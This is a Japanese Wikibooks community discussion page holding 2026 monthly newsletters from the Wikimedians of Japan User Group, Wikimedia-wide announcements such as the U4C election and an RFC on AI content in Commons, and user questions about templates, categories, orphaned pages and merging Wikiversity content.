* [https://diff.wikimedia.org/ja/2026/04/06/jacet%e8%8b%b1%e8%aa%9e%e8%be%9e%e6%9b%b8%e7%a0%94%e7%a9%b6%e4%bc%9a2025%e5%b9%b4%e5%ba%a6%e7%ac%ac2%e5%9b%9e%e4%be%8b%e4%bc%9a%e3%81%a7wikipedia%e3%81%ae%e7%99%ba%e8%a1%a8%e3%82%92%e5%ae%9f%e6%96%bd/ JACET英語辞書研究会2025年度第2回例会でWikipediaの発表を実施] / Eugene Ormandy (2026/04/06)
* [https://diff.wikimedia.org/ja/2026/04/07/%e6%8f%90%e6%90%ba%e5%9b%a3%e4%bd%93%e8%aa%8d%e5%ae%9a%e3%81%ae%e4%b8%80%e6%99%82%e5%81%9c%e6%ad%a2%e6%9c%9f%e9%96%93%e3%81%8c2026%e5%b9%b49%e6%9c%88%e3%81%be%e3%81%a7%e5%bb%b6%e9%95%b7%e3%81%95/ 提携団体認定の一時停止期間が2026年9月まで延長されました] / CAlmog-WMF ; YShibata (2026/04/07)
* [https://diff.wikimedia.org/ja/2026/04/07/%e3%82%a6%e3%82%af%e3%83%a9%e3%82%a4%e3%83%8a%e3%81%ae%e6%96%87%e5%8c%96%e3%82%92%e4%b8%96%e7%95%8c%e3%81%b8%e4%bc%9d%e3%81%88%e3%81%be%e3%81%97%e3%82%87%e3%81%86%ef%bc%9a%e7%ac%ac6%e5%9b%9e%e3%82%a6/ ウクライナの文化を世界へ伝えましょう：第6回ウクライナの文化外交月間がウィキペディアで始まりました！] / OlesiaLukaniuk WMUA ; Wadakuramon (2026/04/07)
* [https://diff.wikimedia.org/ja/2026/04/13/%e5%b0%91%e6%95%b0%e8%80%85%e3%81%ae%e3%81%9f%e3%82%81%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%81%af%e7%ac%ac1%e5%9b%9e%e3%80%8c%e3%82%a2%e3%83%95%e3%83%aa%e3%82%ab%e3%81%ae%e5%b0%91%e6%95%b0%e8%80%85/ 少数者のためのウィキは第1回「アフリカの少数者キャンペーン」を2026年4月に開催します] / Fulani215 ; Wadakuramon (2026/04/13)
* [https://diff.wikimedia.org/ja/2026/04/17/%e7%a7%81%e3%81%9f%e3%81%a1%e3%81%8c%e3%83%9c%e3%83%aa%e3%83%93%e3%82%a2%e3%81%a7%e5%8f%96%e3%82%8a%e7%b5%84%e3%82%93%e3%81%a7%e3%81%84%e3%82%8b%e7%b9%94%e7%89%a9%e3%81%a8%e8%a1%a3%e6%96%99/ 私たちがボリビアで取り組んでいる織物と衣料] / NairaWM BO ; Wadakuramon (2026/04/17)
* [https://diff.wikimedia.org/ja/2026/04/23/%e6%97%a5%e9%9f%93%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b32026%e3%81%a7%e6%9b%b8%e3%81%84%e3%81%9f3%e6%9c%ac%e3%81%ae%e8%a8%98%e4%ba%8b/ 日韓エディタソン2026で書いた3本の記事] / Wadakuramon (2026/04/23)
* [https://diff.wikimedia.org/ja/2026/04/24/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%82%92%e3%81%8a%e7%a5%9d%e3%81%84%e3%81%99%e3%82%8b%e3%81%ae%e3%81%af%e3%80%81%e7%a7%81%e3%81%9f%e3%81%a1%e3%81%ae%e3%82%b3%e3%83%9f/ ウィキペディアをお祝いするのは、私たちのコミュニティを祝うことでもあります] / N1ny4 t ; Wadakuramon (2026/04/24)
* [https://diff.wikimedia.org/ja/2026/04/28/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e8%b2%a1%e5%9b%a3%e5%b9%b4%e6%ac%a1%e8%a8%88%e7%94%bb-2026-2027%e3%81%ae%e3%81%94%e7%b4%b9%e4%bb%8b/ ウィキメディア財団年次計画/2026-2027のご紹介] / Wikimedia Foundation ; Omotecho (2026/04/28)

'''前回配信：2025年3月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年4月30日 (木) 11:03 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30361722 のリストを使用して送信したメッセージ --&gt;

== 【要望】テンプレートについて教えて下さい。テンプレート:Pathnavのような、Wikinavがありますか。 ==

:&lt;nowiki&gt;{{Wikinav|交換法則}}&lt;/nowiki&gt;　左記のカンジです。wikipediaへリンクです。文字w:を非表示。2step?
:新規作成の、wikipediaへのリダイレクトページが不要の気がしました。
:(使用例)
:[[初等数学公式集/解析幾何/コラム#外積の計算]]
:[[交換法則]]
:&lt;nowiki&gt;#redirect[[w:交換法則]]&lt;/nowiki&gt;
--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年5月27日 (水) 10:50 (UTC)

== &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Vote now in the 2026 U4C election&lt;/span&gt; ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
&lt;section begin=&quot;announcement-content&quot; /&gt;
Eligible voters are asked to participate in the 2026 [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee]] election. More information–including an eligibility check, voting process information, candidate information, and a link to the vote–are available on Meta at the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|2026 Election information page]]. The vote closes on 2 June 2026 at [https://zonestamp.toolforge.org/1780358400 00:00 UTC].

Please vote if your account is eligible. Results will be available by 14 June 2026. -- In cooperation with the U4C,&lt;section end=&quot;announcement-content&quot; /&gt;
&lt;/div&gt;

[[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User talk:Keegan (WMF)|talk]]) 2026年5月27日 (水) 17:14 (UTC)
&lt;!-- User:Keegan (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=30513860 のリストを使用して送信したメッセージ --&gt;

== ESEAP Strategy Summit 2027開催決定のお知らせ ==

先日開催された、[[meta:ESEAP Conference 2026|ESEAP Conference 2026]]にて、来年2027年5月にESEAP Strategy Summit 2027を大阪で開催することが発表されました。詳細はこれからの検討事項となりますが、決定次第[[meta:ESEAP Strategy Summit 2027|ESEAP Strategy Summit 2027]]のページにて公開されるほか、適宜こちらのお知らせにて随時投稿させていただきますので、興味のある方、当日お手伝いなどいただける方はMeta-WikiのESEAP Strategy Summit 2027のページをご確認いただくか、[[meta:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]にメンバーとして参加いただくことをご検討ください。--[[利用者:VZP10224(WjpUG)|VZP10224(WjpUG)]] ([[利用者・トーク:VZP10224(WjpUG)|トーク]]) 2026年5月28日 (木) 11:27 (UTC)

== Wikimedians of Japan User Group 2026-5 ==

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 6月6日15時(JST)から[[:m:Event:ESEAP_Community_Call_59_(6_June_2026)|オンラインミーティング]]が行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 6月1日から31日まで[[:w:ja:Event:日本ボリビア友好2026|日本ボリビア友好オンラインエディタソン]]を開催します。
* 6月27日に開催される[https://event.ospn.jp/osc2026-do/ OSC北海道]に参加します。 
* [[:m:Grants:Programs/Wikimedia_Community_Fund/General_Support_Fund/Wikimedians_of_Japan_User_Group_2026-27_Annual_Plan|助成金申請]]が承認されました。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:オシダ科|オシダ科]]
**[[:w:ja:美濃電気軌道セミボ510形電車|美濃電気軌道セミボ510形電車]]
**[[:w:ja:シャンブル|シャンブル]]
**[[:w:ja:東山地域 (一関市)|東山地域 (一関市)]]
**[[:w:ja:三方領地替え (1817年)|三方領地替え (1817年)]]
**[[:w:ja:フサイン・ブン・ハムダーン|フサイン・ブン・ハムダーン]]
**[[:w:ja:マリアノ・リベラ|マリアノ・リベラ]]
**[[:w:ja:ナポレオンと田虫|ナポレオンと田虫]]
**[[:w:ja:我が心は石にあらず|我が心は石にあらず]]
**[[:w:ja:フランク・フラゼッタ|フランク・フラゼッタ]]
**[[:w:ja:紀藤真琴|紀藤真琴]]
**[[:w:ja:三ヶ島葭子|三ヶ島葭子]]
**[[:w:ja:平野 (大阪市)|平野 (大阪市)]]
**[[:w:ja:丹沢湖|丹沢湖]]
* 今月の1枚
[[File:旧岩淵水門.jpg|alt=|thumb|200x200px|東京都北区の[[:w:ja:旧岩淵水門|岩淵水門]]|none]]

'''6月のオフラインイベント情報'''
* 6/6 [https://edit-tango.webnode.jp/l/edittango/ ウィキペディアタウン in 天女の里]
* 6/7 [https://edit-tango.webnode.jp/l/edittango/ ウィキペディア見本市 in 第4回みすずフェスタ]
* 6/27 [[:w:ja:プロジェクト:アウトリーチ/ウィキペディアタウン#2026-06-27_ウィキペディアタウン_in_丹後町2026|ウィキペディアタウン in 丹後町]] 

'''[[:wmfblog:|Diff]]'''

タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/04/23/%e8%87%aa%e5%88%86%e3%81%ae%e3%80%8c%e6%b4%bb%e5%8b%95%e6%ad%b4%e3%80%8d%e3%82%92%e6%9b%b8%e3%81%84%e3%81%a6%e3%81%bf%e3%82%8b/ 自分の「活動歴」を書いてみる] / Lin Xiangru (2026/04/23)
* [https://diff.wikimedia.org/ja/2026/05/03/wikipedia%e8%a8%98%e4%ba%8b%e3%80%8e%e5%b8%82%e5%b7%9d%e5%b0%91%e5%a5%b3%e6%ad%8c%e8%88%9e%e4%bc%8e%e3%80%8f%e3%81%ae%e5%9f%b7%e7%ad%86%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6/ Wikipedia記事『市川少女歌舞伎』の執筆について] / のりまき (2026/05/03)
* [https://diff.wikimedia.org/ja/2026/05/07/%e6%a8%aa%e6%b5%9c%e4%b8%ad%e8%8f%af%e8%a1%97%e3%81%ae%e6%ad%b4%e5%8f%b2%ef%bc%9a%e4%b8%ad%e5%9b%bd%e6%96%99%e7%90%86%e3%81%ae%e3%83%86%e3%83%bc%e3%83%9e%e3%83%91%e3%83%bc%e3%82%af%e3%81%a8%e6%97%a5/?fbclid=IwY2xjawRsaTJleHRuA2FlbQIxMQBzcnRjBmFwcF9pZBAyMjIwMzkxNzg4MjAwODkyAAEeHzJBybslx3HqplC-5NsUD8hbdsj5sJDGda98CnGXQw5SL9tMrDGlXokf1dg_aem_sgRY_7nG6qRvDemytzjpFQ 横浜中華街の歴史：中国料理のテーマパークと日中/日台関係の鏡として] / のりまき (2026/05/07)
* [https://diff.wikimedia.org/ja/2026/05/19/%e3%83%90%e3%83%bc%e3%83%8a%e3%83%87%e3%83%83%e3%83%88ceo%e3%81%a8%e6%97%a5%e6%9c%ac%e3%81%ae%e3%82%b3%e3%83%9f%e3%83%a5%e3%83%8b%e3%83%86%e3%82%a3%e3%81%ae%e5%87%ba%e4%bc%9a%e3%81%84/ バーナデットCEOと日本のコミュニティの出会い]	/ Wadakuramon (2026/05/19)
* [https://diff.wikimedia.org/ja/2026/05/22/%e6%97%a5%e9%9f%93%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b32026-%e3%82%92%e9%96%8b%e5%82%ac%e3%81%97%e3%81%be%e3%81%97%e3%81%9f/ 日韓エディタソン2026 を開催しました] / Lin Xiangru (2026/05/22)
* [https://diff.wikimedia.org/ja/2026/05/22/%e6%97%a5%e6%9c%ac%e3%81%a8%e3%83%9c%e3%83%aa%e3%83%93%e3%82%a2%e3%81%ae%e5%8f%8b%e5%a5%bd%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3%e3%82%926%e6%9c%88%e3%81%ab%e9%96%8b%e5%82%ac%e3%81%97/ 日本とボリビアの友好エディタソンを6月に開催します！] / Wadakuramon (2026/05/22)
* [https://diff.wikimedia.org/ja/2026/05/27/%e6%b5%b7%e5%a4%96%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%81%a8%e4%bb%b2%e8%89%af%e3%81%8f%e3%81%aa%e3%82%8b%e6%96%b9%e6%b3%95/ 海外のウィキメディアンと仲良くなる方法] / Ga2by (2026/05/27)
* [https://diff.wikimedia.org/ja/2026/05/28/2027%e5%b9%b4%e3%81%aeeseap-strategy-summit%e3%82%92%e6%97%a5%e6%9c%ac%e3%81%a7%e9%96%8b%e5%82%ac/ 2027年のESEAP Strategy Summitを日本で開催] / VZP10224 (2026/05/28)
* [https://diff.wikimedia.org/ja/2026/05/28/eseap2026%e3%81%a7%e7%99%ba%e8%a1%a8%e3%81%97%e3%81%9f%e6%a8%aa%e6%b5%9c%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3%e3%81%a8%e3%80%81%e3%83%94%e3%82%bf%e3%83%90%e3%83%b3%e3%82%ac%e3%83%b3/ ESEAP2026で発表した横浜エディタソンと、ピタバンガン高雄] / Wadakuramon (2026/05/28)
* [https://diff.wikimedia.org/ja/2026/05/30/wm%e8%b2%a1%e5%9b%a3%e3%83%90%e3%83%bc%e3%83%8a%e3%83%87%e3%83%83%e3%83%88ceo%e3%81%8c%e6%97%a5%e6%9c%ac%e3%81%ae%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%81%ab%e7%99%bb%e5%a0%b4/ WM財団バーナデットCEOが日本のメディアに登場] / Wadakuramon (2026/05/30) 

'''前回配信：2026年4月30日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年5月31日 (日) 14:11 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30576890 のリストを使用して送信したメッセージ --&gt;

== RFC about AI-generated content in Wikimedia Commons ==

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Apologies for writing in English, please help translate this message to your language. You are invited to participate in a [[c:Commons:Requests for comment/Policy update for AI content|request for comment on Wikimedia Commons about a policy update for AI content]]. This may affect files that are uploaded to Wikimedia Commons for use on this project. Thank you. [[m:User:Codename Noreste|Codename Noreste]] ([[m:User talk:Codename Noreste|トーク]])&lt;/bdi&gt; 2026年6月23日 (火) 17:11 (UTC)
&lt;!-- User:Codename Noreste@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=30513860 のリストを使用して送信したメッセージ --&gt;

== &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Deployment of Legal and Safety Contacts Link in the Footer of Your Wiki&lt;/span&gt; ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
&lt;section begin=&quot;Message&quot;/&gt;
'''Legal &amp; Safety Contacts'''

Hello community, the Wikimedia Foundation has provided a [[wmf:Special:MyLanguage/Legal:Wikimedia Foundation Legal and Safety Contact Information|single legal and safety contact page]], to be linked in the footer of your wiki, to ensure access to accurate legal information. This is a regulatory requirement. We have already rolled out links to English, German, Italian, Spanish and other wikis and we will deploy to your wiki soon. [[m:Special:MyLanguage/Wikimedia_Foundation_Legal_and_Safety_Contacts_FAQ|Please read more on the project page]] and leave any comments in this thread or on the [[m:Special:MyLanguage/Talk:Wikimedia Foundation Legal and Safety Contacts FAQ|talk page]].

&lt;section end=&quot;Message&quot;/&gt;
&lt;/div&gt;

-- [[User:Sannita (WMF)|User:Sannita (WMF)]] ([[User talk:Sannita (WMF)|talk]]) 2026年6月25日 (木) 13:30 (UTC)
&lt;!-- User:Sannita (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=User:Sannita_(WMF)/Mass_sending_test&amp;oldid=30731267 のリストを使用して送信したメッセージ --&gt;

== Wikimedians of Japan User Group 2026-6 ==

'''全体ニュース'''
* 7月21日から25日までパリで[[:wikimania:2026:Wikimania/ja|ウィキマニア]]が行われます。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 7月5日15時(JST)からオンラインミーティングが行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 法人化の準備を進めています。
* [[:w:ja:Event:日本ボリビア友好2026|日本ボリビア友好オンラインエディタソン]]を開催しました。
*[https://event.ospn.jp/osc2026-do/ OSC北海道]に参加しました。 

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:宮城県における平成の大合併|宮城県における平成の大合併]]
**[[:w:ja:文化財の保存と修復|文化財の保存と修復]]
**[[:w:ja:障害学|障害学]]
**[[:w:ja:エドワード・グレイ|エドワード・グレイ]]
**[[:w:ja:トカラ列島の本土復帰|トカラ列島の本土復帰]]
**[[:w:ja:お狂言師|お狂言師]]
**[[:w:ja:ぬい活|ぬい活]]
**[[:w:ja:夜の踊り子|夜の踊り子]]
**[[:w:ja:P-47II MD|P-47II MD]]
**[[:w:ja:ウルフキテル|ウルフキテル]]
**[[:w:ja:雅楽|雅楽]]
**[[:w:ja:上久世荘|上久世荘]]
**[[:w:ja:タイガとココア|タイガとココア]]
**[[:w:ja:くじら座タウ星|くじら座タウ星]]
**[[:w:ja:尼子山トンネル火災事故|尼子山トンネル火災事故]]
* 今月の1枚
[[File:Cherry_tree_and_Mount_Iwate_in_spring_2026.jpg|alt=|thumb|200x200px|[[:w:ja:小岩井農場|小岩井農場]]と[[:w:ja:岩手山|岩手山]]|none]]

'''7月のオフラインイベント情報'''
* 7/11 [https://www.city.yaizu.lg.jp/event/info-00563.html 焼津市ウィキペディアタウン～八雲と歩く焼津Wiki旅～]
* 7/19 [https://edit-tango.webnode.jp/イベント/ ウィキペディアにゃウンvol.9 part.1 峰山城下町]
* 7/29 [https://kumanichi.com/event/1993906 図書館×Wikipedia 地域発信ワークショップ]

'''[[:wmfblog:|Diff]]'''
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/06/15/%e6%97%a5%e6%9c%ac%e3%81%ae%e5%ad%a6%e7%94%9f%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%82%b5%e3%83%bc%e3%82%af%e3%83%ab%e3%81%8c%e5%90%8c%e4%ba%ba%e8%aa%8c%e3%82%92/ 日本の学生ウィキペディアンサークルが同人誌を刊行] / Wadakuramon (2026/06/15)

'''前回配信：2026年5月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年6月30日 (火) 13:44 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30576890 のリストを使用して送信したメッセージ --&gt;

== {{NDC|021}｝ が 日本十進分類法/000 と表示されます。一致する方法を教えて下さい。 ==

:[[ウィキペディアの書き方#他言語版ウィキペディアの書き方]]
:(参考)
:[[Wikibooks:日本十進分類法#021.4 編集 編纂]]
--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年7月1日 (水) 12:51 (UTC)

:: ご質問の場合は、[[:カテゴリ:日本十進分類法/021]]を作成すれば、一致させることができます。ただ、個人的には、そのカテゴリに入るべきページがきわめて少ないのであれば、そのカテゴリは細分化されすぎであり、作成は時期尚早と考えます。 --[[利用者:Kyube|kyube]] ([[利用者・トーク:Kyube|トーク]]) 2026年7月1日 (水) 14:45 (UTC)

== 最近の更新で (感謝) を押してみた。記事に変化はありません。 ==

[[ウィキペディアの書き方]] に説明はありませんでした。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年7月1日 (水) 21:06 (UTC)

: 日本語版wikibooksでは説明がないですね。[[w:Wikipedia:通知/感謝]]をお読みください。この機能は利用者に感謝を伝えるものですから、記事やページに変化を生じさせるものではありません。
: これに限らず日本語版wikibooksに説明がないものはまず日本語版wikipediaにないか探したほうが良いです。 --[[利用者:Kyube|kyube]] ([[利用者・トーク:Kyube|トーク]]) 2026年7月2日 (木) 17:03 (UTC)

== 孤立しているページについて ==

[[特別:孤立しているページ|孤立しているページの一覧]]に、[[C++/キャスト]]や[[C++/クイックツアー]]が表示されていました。しかし、[[C++#下位階層のページ]]を確認すると、これらのページへのリンクが存在しています。

ただし、このリンクは 直接記述されたものではなく、「特別:前方一致ページ一覧/{PAGENAME}/|hideredirects=yes|stripprefix=yes」というテンプレートによって自動的にリンクされたものです。

この場合、孤立ページの判定では「直接リンク」が必要なため、テンプレートによる自動リンクでは孤立ページの解消として扱われないようです。

このままだと、「孤立ページに載っているのに、リンクされているように見える」という誤解を招く可能性があります。

そこで、誤解を防ぐために、直接リンクとして[[C++/キャスト]]や[[C++/クイックツアー]]を記述する編集を行いたいと考えています。

あくまで、ほかの利用者の混乱を避けるための対応であり、荒らし目的ではありません。ご理解とご協力をお願いいたします。--[[利用者:AkiR27User|AkiR27User]] ([[利用者・トーク:AkiR27User|トーク]]) 2026年7月8日 (水) 08:30 (UTC)

== 最近の更新は1ページだけですか。もっと見たい。 ==

いい方法のurlを教えて下さい。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年7月13日 (月) 21:41 (UTC)

== Request for comment (the future of Abstract Wikipedia) ==

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;
Apologies if this has not yet been translated into your wiki's language. {{int:Please-translate}}
You are invited to voice your opinions in a [[:m:Requests for comment/The future of Abstract Wikipedia|request for comment about the future of Abstract Wikipedia]]. {{Int:Feedback-thanks-title}}
[[:m:User:Kowal2701|Kowal2701]] ([[:m:User talk:Kowal2701|talk]])  2026年7月24日 (金) 12:24 (UTC)
&lt;/bdi&gt;
&lt;!-- User:DreamRimmer@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=30513860 のリストを使用して送信したメッセージ --&gt;

== ウィキバーシティからの大規模な内容の移行、統合について ==

WikiversityはWikibooksの姉妹プロジェクト（Wikibooksより派生した）であり、主に学習活動の支援や学習教材の作成を目的とし、また各種の二次的研究および独自研究も視野に入れる活動群、プラットフォームです。ただし、ここで公開する教材は主として補助教材であり、教科書的内容は守備範囲ではありません（Wikibooksの領域です）。

本来はそういうものとして計画されているはずなのですが、現在はWikibooksと大差のない教科書的内容のページがほとんどを占めています。現在Wikiversityではプロジェクトのこれからのあり方に関する議論がなされており、参加者間でも今後に関しての具体的な計画やビジョンが共有されている訳ではないのですが、教科書的内容（現在ある記事の大部分）はWikibooksに移行・統合すべきという意見自体は概ね一致しています。

Wikiversityは初期から今まで過疎が続いており、記事の量も質もここにはかなり劣りますが、それでもWikibooksにはない記事や章構成を持った分野はあり、多少なりと有益な部分もあると思います。--[[利用者:BrassSnail|BrassSnail]] ([[利用者・トーク:BrassSnail|トーク]]) 2026年7月24日 (金) 14:52 (UTC)

== Wikimedians of Japan User Group 2026-7 ==

'''全体ニュース'''
* [[:w:ja:ウィキメディアン・オブ・ザ・イヤー|Wikimedian of the Year]]名誉賞を梅本聖さん(User:Hijiri)が受賞されました。
* [[:m:Updating_the_ecosystem_of_Wikimedia_organizations/Recognition_and_Funding_for_Movement_Organizations|ウィキメディア運動組織の認定・資金提供のあり方を見直す提案]]について意見募集が行われています。
* [[:m:Global_Resource_Distribution_Committee/Grantmaking_Strategy_2026|2026年の助成金戦略に関する提案]]について意見募集が行われています。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 8月1日に開催される[https://event.ospn.jp/osc2026-kyoto/ OSC京都]に参加します。  
* 8月8日、9日に開催される[https://coscup.org/2026/en/ coscup]に参加します。
* 8月22日にウィキデータ勉強会#2を開催します。
* 法人化に関する[[:m:Wikimedians of Japan User Group/法人設立|ページ]]を作成しました。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:1960年桑絹村長選挙|1960年桑絹村長選挙]]
**[[:w:ja:豚肉食のタブー|豚肉食のタブー]]
**[[:w:ja:松岡寺|松岡寺]]
**[[:w:ja:易 (占い)|易 (占い)]]
**[[:w:ja:象と鯨図屏風|象と鯨図屏風]]

* 今月の1枚
[[File:Cherry_blossoms_along_the_moat_of_Hirosaki_Castle_at_night_20260420h.jpg|alt=|thumb|200x200px|[[:w:ja:弘前城|弘前城]]の夜桜|none]]

'''8月のオフラインイベント情報'''
* 8/5,19 [[:w:ja:プロジェクト:アウトリーチ/ウィキペディアタウン#2026-08-05・2026-08-19_地域の記録をみんなの手で残して発信しよう_in_松戸|地域の記録をみんなの手で残して発信しよう in 松戸]]

'''[[:wmfblog:|Diff]]'''
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/07/07/%e4%ba%ac%e5%a4%a7%e3%80%8c%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e6%96%87%e5%8c%96%e5%ad%a6%e3%80%8d%e8%ac%9b%e7%be%a9%e3%82%92%e8%81%b4%e8%ac%9b/ 京大「メディア文化学」講義を聴講] / Lin Xiangru (260707)
* [https://diff.wikimedia.org/ja/2026/07/07/%e6%97%a5%e6%9c%ac%e3%83%9c%e3%83%aa%e3%83%93%e3%82%a2%e5%8f%8b%e5%a5%bd%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3%e3%81%af%e5%a4%a7%e6%88%90%e5%8a%9f%e3%81%a7%e3%81%97%e3%81%9f%ef%bc%81/ 日本ボリビア友好エディタソンは大成功でした！] / Carlillassa, Wadakuramon (2026/07/07)
* [https://diff.wikimedia.org/ja/2026/07/09/gemini-canvas-%e3%82%92%e6%b4%bb%e7%94%a8%e3%81%97%e3%81%a6%e5%ae%b6%e7%b3%bb%e5%9b%b3%e4%bd%9c%e6%88%90%e3%82%92%e8%87%aa%e5%8b%95%e5%8c%96%e3%81%97%e3%81%a6%e3%81%bf%e3%82%8b/ Gemini canvas を活用して家系図作成を自動化してみる] / Lin Xiangru (2026/07/09)
* [https://diff.wikimedia.org/ja/2026/07/27/%e6%96%b0%e3%81%9f%e3%81%aa%e6%88%90%e6%9e%9c%e3%82%92%e9%81%94%e6%88%90-%e6%ad%b4%e5%8f%b2%e3%82%92%e5%88%bb%e3%82%93%e3%81%a0%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e6%97%a5/ 新たな成果を達成! 歴史を刻んだウィキメディア日本ボリビア友好会] / Carlillasa ; Wadakuramon (2026/07/27)
* [https://diff.wikimedia.org/ja/2026/07/27/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9e%e3%83%8b%e3%82%a22026-%e8%b2%a2%e7%8c%ae%e3%81%99%e3%82%8b%e5%96%9c%e3%81%b3/ ウィキマニア2026: 貢献する喜び] / Wikimedia Foundation ; Wadakuramon (2026/07/27)
